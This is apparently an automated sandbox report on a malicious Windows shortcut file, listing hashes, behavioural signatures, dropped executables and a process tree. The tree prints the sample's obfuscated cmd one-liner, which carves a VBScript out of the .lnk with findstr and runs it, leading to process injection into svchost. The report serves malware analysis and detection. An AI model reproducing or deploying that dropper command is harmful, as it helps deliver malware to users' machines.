Analysis
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max time kernel
122s -
max time network
90s -
platform
windows7_x64 -
resource
win7v200213 -
submitted
13-02-2020 20:53
Static task
static1
Behavioral task
behavioral1
Sample
AltInv01.lnk
Resource
win7v200213
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
AltInv01.lnk
Resource
win10v191014
windows10_x64
0 signatures
0 seconds
General
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Target
AltInv01.lnk
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Size
19KB
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MD5
2aab065d8bd9c03615dbf58c6e08b680
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SHA1
552069e866b50513f720f080c1242fd5d7d80a0a
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SHA256
26c0dff81ed85b585506f0043d650f7b594225e697926b1c8e25680541b6b60d
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SHA512
780633ab6d15052300dff191e49e48eaf782cf62de75576c21123d05e3f158dd1c300e5f7869099741172ec8b556320bdecf489a4b4fc738924f2c57e6c9cf62
Score
8/10
Malware Config
Signatures
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Blacklisted process makes network request 1 IoCs
Processes:
WScript.exeflow pid process 2 1684 WScript.exe -
Suspicious use of WriteProcessMemory 14 IoCs
Processes:
WScript.exelqPIJNPk.exeبابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exedescription pid process target process PID 1684 wrote to memory of 1472 1684 WScript.exe lqPIJNPk.exe PID 1684 wrote to memory of 1472 1684 WScript.exe lqPIJNPk.exe PID 1684 wrote to memory of 1472 1684 WScript.exe lqPIJNPk.exe PID 1684 wrote to memory of 1472 1684 WScript.exe lqPIJNPk.exe PID 1472 wrote to memory of 1564 1472 lqPIJNPk.exe بابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exe PID 1472 wrote to memory of 1564 1472 lqPIJNPk.exe بابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exe PID 1472 wrote to memory of 1564 1472 lqPIJNPk.exe بابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exe PID 1472 wrote to memory of 1564 1472 lqPIJNPk.exe بابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exe PID 1564 wrote to memory of 1792 1564 بابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exe svchost.exe PID 1564 wrote to memory of 1792 1564 بابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exe svchost.exe PID 1564 wrote to memory of 1792 1564 بابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exe svchost.exe PID 1564 wrote to memory of 1792 1564 بابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exe svchost.exe PID 1564 wrote to memory of 1792 1564 بابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exe svchost.exe PID 1564 wrote to memory of 1792 1564 بابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exe svchost.exe -
Executes dropped EXE 2 IoCs
Processes:
lqPIJNPk.exeبابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exepid process 1472 lqPIJNPk.exe 1564 بابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exe -
Suspicious use of SetWindowsHookEx 4 IoCs
Processes:
lqPIJNPk.exeبابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exepid process 1472 lqPIJNPk.exe 1472 lqPIJNPk.exe 1564 بابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exe 1564 بابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exe -
Loads dropped DLL 2 IoCs
Processes:
lqPIJNPk.exepid process 1472 lqPIJNPk.exe 1472 lqPIJNPk.exe
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\AltInv01.lnk1⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v:on /c del doGqH & if not exist oHfhW.txt (set "xsMWK=n" & set "iucqH=s") & fi!xsMWK!d!iucqH!tr "OzTAS.*" AltInv01.l!xsMWK!k > "C:\Users\Admin\AppData\Local\Temp\OBqOR.vb!iucqH!" & "C:\Users\Admin\AppData\Local\Temp\OBqOR.vb!iucqH!" & DtrqC2⤵
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C:\Windows\system32\findstr.exefindstr "OzTAS.*" AltInv01.lnk3⤵
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\OBqOR.vbs"3⤵
- Blacklisted process makes network request
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\lqPIJNPk.exeC:\Users\Admin\AppData\Local\Temp\lqPIJNPk.exe4⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Loads dropped DLL
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C:\ProgramData\بابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exe"C:\ProgramData\بابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exe"5⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe6⤵
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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C:\ProgramData\بابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exe
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C:\ProgramData\بابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exe
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C:\Users\Admin\AppData\Local\Temp\OBqOR.vbs
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C:\Users\Admin\AppData\Local\Temp\lqPIJNPk.exe
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C:\Users\Admin\AppData\Local\Temp\lqPIJNPk.exe
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\ProgramData\بابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exe
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\ProgramData\بابկողպեքドアЕЕقفلпԴուь;;;ռըсロックロック.exe
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memory/1472-3-0x00000000003B0000-0x00000000003E4000-memory.dmpFilesize
208KB
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memory/1564-8-0x0000000001EF0000-0x0000000001F24000-memory.dmpFilesize
208KB
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memory/1564-10-0x0000000001F30000-0x0000000001F61000-memory.dmpFilesize
196KB
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memory/1684-2-0x0000000002560000-0x0000000002564000-memory.dmpFilesize
16KB